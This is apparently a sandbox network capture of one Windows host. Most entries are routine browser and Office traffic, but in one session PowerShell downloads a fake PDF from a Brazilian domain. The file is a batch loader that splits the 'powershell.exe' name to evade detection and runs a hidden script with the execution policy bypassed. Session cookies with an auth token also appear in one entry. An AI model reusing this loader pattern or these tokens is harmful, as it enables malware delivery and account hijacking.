2024-11-02 13:00:24 UTC	81	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 02 00 00 00 01 08 06 00 00 00 f4 22 7f 8a 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 0b 49 44 41 54 08 d7 63 60 80 02 00 00 09 00 01 63 2a 16 0d 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDR"sRGBIDATc`c*IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
104	192.168.2.5	49826	91.235.133.10	443	4160	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-02 13:00:24 UTC	1512	OUT	GET /3vOSVChBca8mxq54?f9b74c41f0f5e233=Elw3xMb-B-c67pAdASjEhN4msh_to4AKxSJ0P-88Ra5T_K4A4iPxEsv2YNfCLZr3dHJ9i1O3bsdDwkseyKiP4wCA1r6HREV-OutOviWaOVExfW2DaCMjePuuubS0Vtc0pOzxWmWJPvdKrePsLQaR7hAFZXRLzB7AivWEv2A HTTP/1.1 Host: asanalytics.booking.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://account.booking.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: pcm_consent=analytical%3Dtrue%26countryCode%3DUS%26consentId%3D96ef7dd9-30f0-437c-b184-806b888ba8c4%26consentedAt%3D2024-11-02T13%3A00%3A04.856Z%26expiresAt%3D2025-05-01T13%3A00%3A04.856Z%26implicit%3Dtrue%26marketing%3Dtrue%26regionCode%3DTX%26regulation%3Dnone%26legacyRegulation%3Dnone; bkng_sso_auth=CAIQsOnuTRpmRItQkpzoulbBFuU1Y3GMSm97+fl/o63mZ78FuUB2FRsPL93kg9TTu9vakBBkfYH6WPCC//8z/8Lx6W7ttfymqnRXPYo/LvJtyP8c3w9F+WgOdVWbZeZtzt5n6bsIRD3HXgbOWAIc; bkng_sso_ses=e30; bkng_sso_session=e30; thx_guid=744a72dce4585bbd8929764b404ef635; tmx_guid=AAxud7VX2IM1oiAtv2h0umy5YBSAzcJpbgSNee2xhxteVPcp43EQqPH-pHYQ-graoguG50395K4s4FXbU1VALTA5xrVlRA; bkng_bfp=79334c055845370a281e6b1e664da535; ecid=jD%2BCYhqZ7xGsv9nOw7w5PwqB
2024-11-02 13:00:24 UTC	357	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 13:00:24 GMT Server: Apache Strict-Transport-Security: max-age=31536000 Pragma: no-cache Cache-Control: no-cache, no-store, must-revalidate X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Expires: Thu, 01 Jan 1970 00:00:00 GMT Connection: close Content-Length: 81 Content-Type: image/png
2024-11-02 13:00:24 UTC	81	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 02 00 00 00 01 08 06 00 00 00 f4 22 7f 8a 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 0b 49 44 41 54 08 d7 63 60 80 02 00 00 09 00 01 63 2a 16 0d 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDR"sRGBIDATc`c*IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
105	192.168.2.5	49831	52.209.78.88	443	4160	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-02 13:00:24 UTC	607	OUT	GET /raphael_cs HTTP/1.1 Host: booking.ck123.io Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept: application/json Content-Type: application/json sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Origin: https://account.booking.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://account.booking.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-02 13:00:25 UTC	549	IN	HTTP/1.1 200 OK Server: openresty Date: Sat, 02 Nov 2024 13:00:24 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close Set-Cookie: Raphael=Y2NrayfsNsCN8ka2rZtbjGRNz7OMigjQH_EU1Kxro-adYMI0DMUUP49CSO727DqbKuWGCNtzfcJiyAmpiymtojHiQ4abJSKA3pHuG4YQV-fEDWK_; Path=/; Secure; SameSite=None Access-Control-Allow-Origin: https://account.booking.com Access-Control-Allow-Credentials: true Cache-Control: max-age=10000, immutable, private Access-Control-Allow-Headers: cookie, content-type Access-Control-Max-Age: 1200
2024-11-02 13:00:25 UTC	134	IN	Data Raw: 37 62 0d 0a 7b 22 6a 38 38 22 3a 22 5a 6d 5a 71 61 75 74 70 6d 7a 33 4f 56 6b 66 4a 6b 46 61 35 6a 74 49 5f 4d 38 4c 6c 46 4e 5a 33 4f 56 33 68 59 46 70 36 46 66 34 6b 56 6c 74 38 39 45 41 53 30 4a 4b 73 5a 6e 77 4e 35 65 39 39 4b 57 51 6e 47 6e 43 49 59 33 51 7a 73 38 6a 4e 4b 4b 6c 6d 4a 62 65 48 4d 68 78 78 62 46 6e 50 6b 50 39 2d 41 5f 58 76 68 33 58 2d 38 72 44 43 22 7d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: 7b{"j88":"ZmZqautpmz3OVkfJkFa5jtI_M8LlFNZ3OV3hYFp6Ff4kVlt89EAS0JKsZnwN5e99KWQnGnCIY3Qzs8jNKKlmJbeHMhxxbFnPkP9-A_Xvh3X-8rDC"}0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
106	192.168.2.5	49839	104.18.87.42	443	4160	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-02 13:00:25 UTC	393	OUT	GET /scripttemplates/202408.1.0/assets/otCommonStyles.css HTTP/1.1 Host: cdn.cookielaw.org Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-02 13:00:25 UTC	915	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 13:00:25 GMT Content-Type: text/css Content-Length: 24720 Connection: close Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Cf-Bgj: minify Cf-Polished: origSize=24745 Content-MD5: HyPJ72TNHxdfOI82cqKVqA== ETag: 0x8DCD149712ED840 Last-Modified: Tue, 10 Sep 2024 03:34:14 GMT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: c05879b4-901e-0009-4dcc-248904000000 x-ms-version: 2009-09-19 Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 15266 Accept-Ranges: bytes Strict-Transport-Security: max-age=31536000; includeSubDomains; preload X-Content-Type-Options: nosniff Cross-Origin-Resource-Policy: cross-origin Server: cloudflare CF-RAY: 8dc44eb22e66e997-DFW
2024-11-02 13:00:25 UTC	454	IN	Data Raw: 23 6f 6e 65 74 72 75 73 74 2d 62 61 6e 6e 65 72 2d 73 64 6b 20 2e 6f 6e 65 74 72 75 73 74 2d 76 65 6e 64 6f 72 73 2d 6c 69 73 74 2d 68 61 6e 64 6c 65 72 7b 63 75 72 73 6f 72 3a 70 6f 69 6e 74 65 72 3b 63 6f 6c 6f 72 3a 23 31 66 39 36 64 62 3b 66 6f 6e 74 2d 73 69 7a 65 3a 69 6e 68 65 72 69 74 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 37 30 30 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 35 70 78 7d 23 6f 6e 65 74 72 75 73 74 2d 62 61 6e 6e 65 72 2d 73 64 6b 20 2e 6f 6e 65 74 72 75 73 74 2d 76 65 6e 64 6f 72 73 2d 6c 69 73 74 2d 68 61 6e 64 6c 65 72 3a 68 6f 76 65 72 7b 63 6f 6c 6f 72 3a 23 31 66 39 36 64 62 7d 23 6f 6e 65 74 72 75 73 74 2d 62 61 6e 6e 65 72 2d 73 64 6b 3a 66 6f 63 75 73 7b 6f 75 74 6c Data Ascii: #onetrust-banner-sdk .onetrust-vendors-list-handler{cursor:pointer;color:#1f96db;font-size:inherit;font-weight:700;text-decoration:none;margin-left:5px}#onetrust-banner-sdk .onetrust-vendors-list-handler:hover{color:#1f96db}#onetrust-banner-sdk:focus{outl
2024-11-02 13:00:25 UTC	1369	IN	Data Raw: 74 2d 62 61 6e 6e 65 72 2d 73 64 6b 20 23 6f 6e 65 74 72 75 73 74 2d 70 63 2d 62 74 6e 2d 68 61 6e 64 6c 65 72 7b 6f 75 74 6c 69 6e 65 2d 6f 66 66 73 65 74 3a 31 70 78 7d 23 6f 6e 65 74 72 75 73 74 2d 62 61 6e 6e 65 72 2d 73 64 6b 2e 6f 74 2d 62 6e 72 2d 77 2d 6c 6f 67 6f 20 2e 6f 74 2d 62 6e 72 2d 6c 6f 67 6f 7b 68 65 69 67 68 74 3a 36 34 70 78 3b 77 69 64 74 68 3a 36 34 70 78 7d 23 6f 6e 65 74 72 75 73 74 2d 62 61 6e 6e 65 72 2d 73 64 6b 20 2e 6f 74 2d 74 63 66 32 2d 76 65 6e 64 6f 72 2d 63 6f 75 6e 74 2e 6f 74 2d 74 65 78 74 2d 62 6f 6c 64 7b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 37 30 30 7d 23 6f 6e 65 74 72 75 73 74 2d 62 61 6e 6e 65 72 2d 73 64 6b 20 2e 6f 74 2d 63 6c 6f 73 65 2d 69 63 6f 6e 2c 23 6f 6e 65 74 72 75 73 74 2d 70 63 2d 73 64 6b 20 2e 6f Data Ascii: t-banner-sdk #onetrust-pc-btn-handler{outline-offset:1px}#onetrust-banner-sdk.ot-bnr-w-logo .ot-bnr-logo{height:64px;width:64px}#onetrust-banner-sdk .ot-tcf2-vendor-count.ot-text-bold{font-weight:700}#onetrust-banner-sdk .ot-close-icon,#onetrust-pc-sdk .o
2024-11-02 13:00:25 UTC	1369	IN	Data Raw: 68 36 20 2a 2c 23 6f 74 2d 73 79 6e 63 2d 6e 74 66 79 20 62 75 74 74 6f 6e 20 2a 2c 23 6f 74 2d 73 79 6e 63 2d 6e 74 66 79 20 61 5b 64 61 74 61 2d 70 61 72 65 6e 74 2d 69 64 5d 20 2a 7b 66 6f 6e 74 2d 73 69 7a 65 3a 69 6e 68 65 72 69 74 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 69 6e 68 65 72 69 74 3b 63 6f 6c 6f 72 3a 69 6e 68 65 72 69 74 7d 23 6f 6e 65 74 72 75 73 74 2d 62 61 6e 6e 65 72 2d 73 64 6b 20 2e 6f 74 2d 68 69 64 65 2c 23 6f 6e 65 74 72 75 73 74 2d 70 63 2d 73 64 6b 20 2e 6f 74 2d 68 69 64 65 2c 23 6f 74 2d 73 79 6e 63 2d 6e 74 66 79 20 2e 6f 74 2d 68 69 64 65 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 21 69 6d 70 6f 72 74 61 6e 74 7d 23 6f 6e 65 74 72 75 73 74 2d 62 61 6e 6e 65 72 2d 73 64 6b 20 62 75 74 74 6f 6e 2e 6f 74 2d 6c 69 6e 6b 2d 62 74 6e Data Ascii: h6 ,#ot-sync-ntfy button ,#ot-sync-ntfy a[data-parent-id] *{font-size:inherit;font-weight:inherit;color:inherit}#onetrust-banner-sdk .ot-hide,#onetrust-pc-sdk .ot-hide,#ot-sync-ntfy .ot-hide{display:none!important}#onetrust-banner-sdk button.ot-link-btn
2024-11-02 13:00:25 UTC	1369	IN	Data Raw: 31 38 30 70 78 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 63 65 6e 74 65 72 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 73 69 7a 65 3a 63 6f 6e 74 61 69 6e 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 72 65 70 65 61 74 3a 6e 6f 2d 72 65 70 65 61 74 3b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 66 6c 65 78 3b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 63 65 6e 74 65 72 3b 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 63 65 6e 74 65 72 7d 23 6f 6e 65 74 72 75 73 74 2d 70 63 2d 73 64 6b 20 2e 70 63 2d 6c 6f 67 6f 20 69 6d 67 2c 23 6f 6e 65 74 72 75 73 74 2d 70 63 2d 73 64 6b 20 2e 6f 74 2d 70 63 2d 6c 6f 67 6f 20 69 6d 67 7b 6d 61 78 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 6d 61 78 2d 77 69 64 74 68 3a 31 30 30 25 7d 23 6f 6e 65 74 72 75 73 74 2d 70 63 2d 73 Data Ascii: 180px;background-position:center;background-size:contain;background-repeat:no-repeat;display:inline-flex;justify-content:center;align-items:center}#onetrust-pc-sdk .pc-logo img,#onetrust-pc-sdk .ot-pc-logo img{max-height:100%;max-width:100%}#onetrust-pc-s
2024-11-02 13:00:25 UTC	1369	IN	Data Raw: 6d 65 73 20 6f 6e 65 74 72 75 73 74 2d 66 61 64 65 2d 69 6e 7b 30 25 7b 6f 70 61 63 69 74 79 3a 30 7d 31 30 30 25 7b 6f 70 61 63 69 74 79 3a 31 7d 7d 2e 6f 74 2d 63 6f 6f 6b 69 65 2d 6c 61 62 65 6c 7b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 75 6e 64 65 72 6c 69 6e 65 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 77 69 64 74 68 3a 34 32 36 70 78 29 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 38 39 36 70 78 29 61 6e 64 20 28 6f 72 69 65 6e 74 61 74 69 6f 6e 3a 6c 61 6e 64 73 63 61 70 65 29 7b 23 6f 6e 65 74 72 75 73 74 2d 70 63 2d 73 64 6b 20 70 7b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 37 35 65 6d 7d 7d 23 6f 6e 65 74 72 75 73 74 2d 62 61 6e 6e 65 72 2d 73 64 6b 20 2e 62 61 6e 6e 65 72 2d 6f 70 74 69 6f 6e 2d 69 Data Ascii: mes onetrust-fade-in{0%{opacity:0}100%{opacity:1}}.ot-cookie-label{text-decoration:underline}@media only screen and (min-width:426px)and (max-width:896px)and (orientation:landscape){#onetrust-pc-sdk p{font-size:.75em}}#onetrust-banner-sdk .banner-option-i
2024-11-02 13:00:25 UTC	1369	IN	Data Raw: 70 6c 61 79 3a 69 6e 6c 69 6e 65 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 35 70 78 7d 23 6f 6e 65 74 72 75 73 74 2d 62 61 6e 6e 65 72 2d 73 64 6b 20 2e 6f 74 2d 6f 70 74 6f 75 74 2d 73 69 67 6e 61 6c 20 73 76 67 2c 23 6f 6e 65 74 72 75 73 74 2d 70 63 2d 73 64 6b 20 2e 6f 74 2d 6f 70 74 6f 75 74 2d 73 69 67 6e 61 6c 20 73 76 67 7b 68 65 69 67 68 74 3a 32 30 70 78 3b 77 69 64 74 68 3a 33 30 70 78 3b 74 72 61 6e 73 66 6f 72 6d 3a 73 63 61 6c 65 28 2e 35 29 7d 23 6f 6e 65 74 72 75 73 74 2d 62 61 6e 6e 65 72 2d 73 64 6b 20 2e 6f 74 2d 6f 70 74 6f 75 74 2d 73 69 67 6e 61 6c 20 73 76 67 20 70 61 74 68 2c 23 6f 6e 65 74 72 75 73 74 2d 70 63 2d 73 64 6b 20 2e 6f 74 2d 6f 70 74 6f 75 74 2d 73 69 67 6e 61 6c 20 73 76 67 20 70 61 74 68 7b 66 69 6c 6c 3a 23 33 32 61 Data Ascii: play:inline;margin-right:5px}#onetrust-banner-sdk .ot-optout-signal svg,#onetrust-pc-sdk .ot-optout-signal svg{height:20px;width:30px;transform:scale(.5)}#onetrust-banner-sdk .ot-optout-signal svg path,#onetrust-pc-sdk .ot-optout-signal svg path{fill:#32a
2024-11-02 13:00:25 UTC	1369	IN	Data Raw: 74 75 72 65 2d 68 65 61 6c 74 68 20 2e 6f 74 2d 73 69 67 6e 61 74 75 72 65 2d 63 6f 6e 74 2c 23 6f 6e 65 74 72 75 73 74 2d 63 6f 6e 73 65 6e 74 2d 73 64 6b 20 2e 6f 74 2d 73 69 67 6e 61 74 75 72 65 2d 68 65 61 6c 74 68 2d 67 72 6f 75 70 20 2e 6f 74 2d 73 69 67 6e 61 74 75 72 65 2d 63 6f 6e 74 7b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 63 6f 6c 75 6d 6e 3b 67 61 70 3a 2e 32 35 72 65 6d 7d 23 6f 6e 65 74 72 75 73 74 2d 63 6f 6e 73 65 6e 74 2d 73 64 6b 20 2e 6f 74 2d 73 69 67 6e 61 74 75 72 65 2d 68 65 61 6c 74 68 20 2e 6f 74 2d 73 69 67 6e 61 74 75 72 65 2d 70 61 72 61 67 72 61 70 68 2c 23 6f 6e 65 74 72 75 73 74 2d 63 6f 6e 73 65 6e 74 2d 73 64 6b 20 2e 6f 74 2d 73 69 67 6e 61 74 75 72 65 2d 68 65 61 6c 74 68 2d Data Ascii: ture-health .ot-signature-cont,#onetrust-consent-sdk .ot-signature-health-group .ot-signature-cont{display:flex;flex-direction:column;gap:.25rem}#onetrust-consent-sdk .ot-signature-health .ot-signature-paragraph,#onetrust-consent-sdk .ot-signature-health-
2024-11-02 13:00:25 UTC	1369	IN	Data Raw: 69 72 65 63 74 69 6f 6e 3a 63 6f 6c 75 6d 6e 3b 67 61 70 3a 2e 35 72 65 6d 7d 23 6f 6e 65 74 72 75 73 74 2d 63 6f 6e 73 65 6e 74 2d 73 64 6b 20 2e 6f 74 2d 69 6e 70 75 74 2d 66 69 65 6c 64 2d 63 6f 6e 74 20 2e 6f 74 2d 73 69 67 6e 61 74 75 72 65 2d 69 6e 70 75 74 7b 77 69 64 74 68 3a 36 35 25 7d 23 6f 6e 65 74 72 75 73 74 2d 63 6f 6e 73 65 6e 74 2d 73 64 6b 20 2e 6f 74 2d 73 69 67 6e 61 74 75 72 65 2d 68 65 61 6c 74 68 2d 66 6f 72 6d 7b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 63 6f 6c 75 6d 6e 7d 23 6f 6e 65 74 72 75 73 74 2d 63 6f 6e 73 65 6e 74 2d 73 64 6b 20 2e 6f 74 2d 73 69 67 6e 61 74 75 72 65 2d 68 65 61 6c 74 68 2d 66 6f 72 6d 20 2e 6f 74 2d 73 69 67 6e 61 74 75 72 65 2d 6c 61 62 65 6c 7b 6d 61 72 67 69 Data Ascii: irection:column;gap:.5rem}#onetrust-consent-sdk .ot-input-field-cont .ot-signature-input{width:65%}#onetrust-consent-sdk .ot-signature-health-form{display:flex;flex-direction:column}#onetrust-consent-sdk .ot-signature-health-form .ot-signature-label{margi
2024-11-02 13:00:25 UTC	1369	IN	Data Raw: 6e 65 72 2d 73 64 6b 20 61 2c 23 6f 6e 65 74 72 75 73 74 2d 62 61 6e 6e 65 72 2d 73 64 6b 20 6c 61 62 65 6c 2c 23 6f 6e 65 74 72 75 73 74 2d 62 61 6e 6e 65 72 2d 73 64 6b 20 69 6e 70 75 74 2c 23 6f 6e 65 74 72 75 73 74 2d 62 61 6e 6e 65 72 2d 73 64 6b 20 75 6c 2c 23 6f 6e 65 74 72 75 73 74 2d 62 61 6e 6e 65 72 2d 73 64 6b 20 6c 69 2c 23 6f 6e 65 74 72 75 73 74 2d 62 61 6e 6e 65 72 2d 73 64 6b 20 6e 61 76 2c 23 6f 6e 65 74 72 75 73 74 2d 62 61 6e 6e 65 72 2d 73 64 6b 20 74 61 62 6c 65 2c 23 6f 6e 65 74 72 75 73 74 2d 62 61 6e 6e 65 72 2d 73 64 6b 20 74 68 65 61 64 2c 23 6f 6e 65 74 72 75 73 74 2d 62 61 6e 6e 65 72 2d 73 64 6b 20 74 72 2c 23 6f 6e 65 74 72 75 73 74 2d 62 61 6e 6e 65 72 2d 73 64 6b 20 74 64 2c 23 6f 6e 65 74 72 75 73 74 2d 62 61 6e 6e 65 72 Data Ascii: ner-sdk a,#onetrust-banner-sdk label,#onetrust-banner-sdk input,#onetrust-banner-sdk ul,#onetrust-banner-sdk li,#onetrust-banner-sdk nav,#onetrust-banner-sdk table,#onetrust-banner-sdk thead,#onetrust-banner-sdk tr,#onetrust-banner-sdk td,#onetrust-banner
2024-11-02 13:00:25 UTC	1369	IN	Data Raw: 73 76 67 2c 23 6f 74 2d 73 64 6b 2d 63 6f 6f 6b 69 65 2d 70 6f 6c 69 63 79 20 62 75 74 74 6f 6e 2c 23 6f 74 2d 73 64 6b 2d 63 6f 6f 6b 69 65 2d 70 6f 6c 69 63 79 20 73 65 63 74 69 6f 6e 2c 23 6f 74 2d 73 64 6b 2d 63 6f 6f 6b 69 65 2d 70 6f 6c 69 63 79 20 61 2c 23 6f 74 2d 73 64 6b 2d 63 6f 6f 6b 69 65 2d 70 6f 6c 69 63 79 20 6c 61 62 65 6c 2c 23 6f 74 2d 73 64 6b 2d 63 6f 6f 6b 69 65 2d 70 6f 6c 69 63 79 20 69 6e 70 75 74 2c 23 6f 74 2d 73 64 6b 2d 63 6f 6f 6b 69 65 2d 70 6f 6c 69 63 79 20 75 6c 2c 23 6f 74 2d 73 64 6b 2d 63 6f 6f 6b 69 65 2d 70 6f 6c 69 63 79 20 6c 69 2c 23 6f 74 2d 73 64 6b 2d 63 6f 6f 6b 69 65 2d 70 6f 6c 69 63 79 20 6e 61 76 2c 23 6f 74 2d 73 64 6b 2d 63 6f 6f 6b 69 65 2d 70 6f 6c 69 63 79 20 74 61 62 6c 65 2c 23 6f 74 2d 73 64 6b 2d Data Ascii: svg,#ot-sdk-cookie-policy button,#ot-sdk-cookie-policy section,#ot-sdk-cookie-policy a,#ot-sdk-cookie-policy label,#ot-sdk-cookie-policy input,#ot-sdk-cookie-policy ul,#ot-sdk-cookie-policy li,#ot-sdk-cookie-policy nav,#ot-sdk-cookie-policy table,#ot-sdk-

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
107	192.168.2.5	49832	24.152.39.120	443	4592	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-02 13:00:25 UTC	157	OUT	GET /license/2/1tronbat.pdf HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: skynetx.com.br
2024-11-02 13:00:25 UTC	211	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 13:00:23 GMT Server: Apache Last-Modified: Wed, 02 Oct 2024 16:30:04 GMT Accept-Ranges: bytes Content-Length: 198 Connection: close Content-Type: application/pdf
2024-11-02 13:00:25 UTC	198	IN	Data Raw: 73 65 74 6c 6f 63 61 6c 20 65 6e 61 62 6c 65 64 65 6c 61 79 65 64 65 78 70 61 6e 73 69 6f 6e 0d 0a 73 65 74 20 22 70 73 3d 70 6f 77 65 72 73 68 65 6c 6c 2e 65 22 0d 0a 73 65 74 20 22 70 73 31 3d 78 65 22 0d 0a 73 65 74 20 22 63 6d 64 3d 43 3a 5c 55 73 65 72 73 5c 50 75 62 6c 69 63 5c 31 74 72 6f 6e 2e 70 73 31 22 0d 0a 25 70 73 25 22 25 70 73 31 25 22 20 2d 4e 6f 50 72 6f 66 69 6c 65 20 2d 57 69 6e 64 6f 77 53 74 79 6c 65 20 48 69 64 64 65 6e 20 2d 45 78 65 63 75 74 69 6f 6e 50 6f 6c 69 63 79 20 42 79 70 61 73 73 20 2d 46 69 6c 65 20 22 25 63 6d 64 25 22 0d 0a 65 78 69 74 20 2f 62 0d 0a Data Ascii: setlocal enabledelayedexpansionset "ps=powershell.e"set "ps1=xe"set "cmd=C:\Users\Public\1tron.ps1"%ps%"%ps1%" -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -File "%cmd%"exit /b

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.5	49835	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-02 13:00:25 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-02 13:00:25 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 13:00:25 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: 764b7f95-c01e-00a1-1c00-2d7e4a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241102T130025Z-16547b76f7f7scqbhC1DFW0m5w00000000h0000000002qyk x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-02 13:00:25 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.5	49834	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-02 13:00:25 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-02 13:00:25 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 13:00:25 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: cc46dee9-d01e-007a-0efd-2cf38c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241102T130025Z-16547b76f7f67wxlhC1DFWah9w00000000h000000000d2vg x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
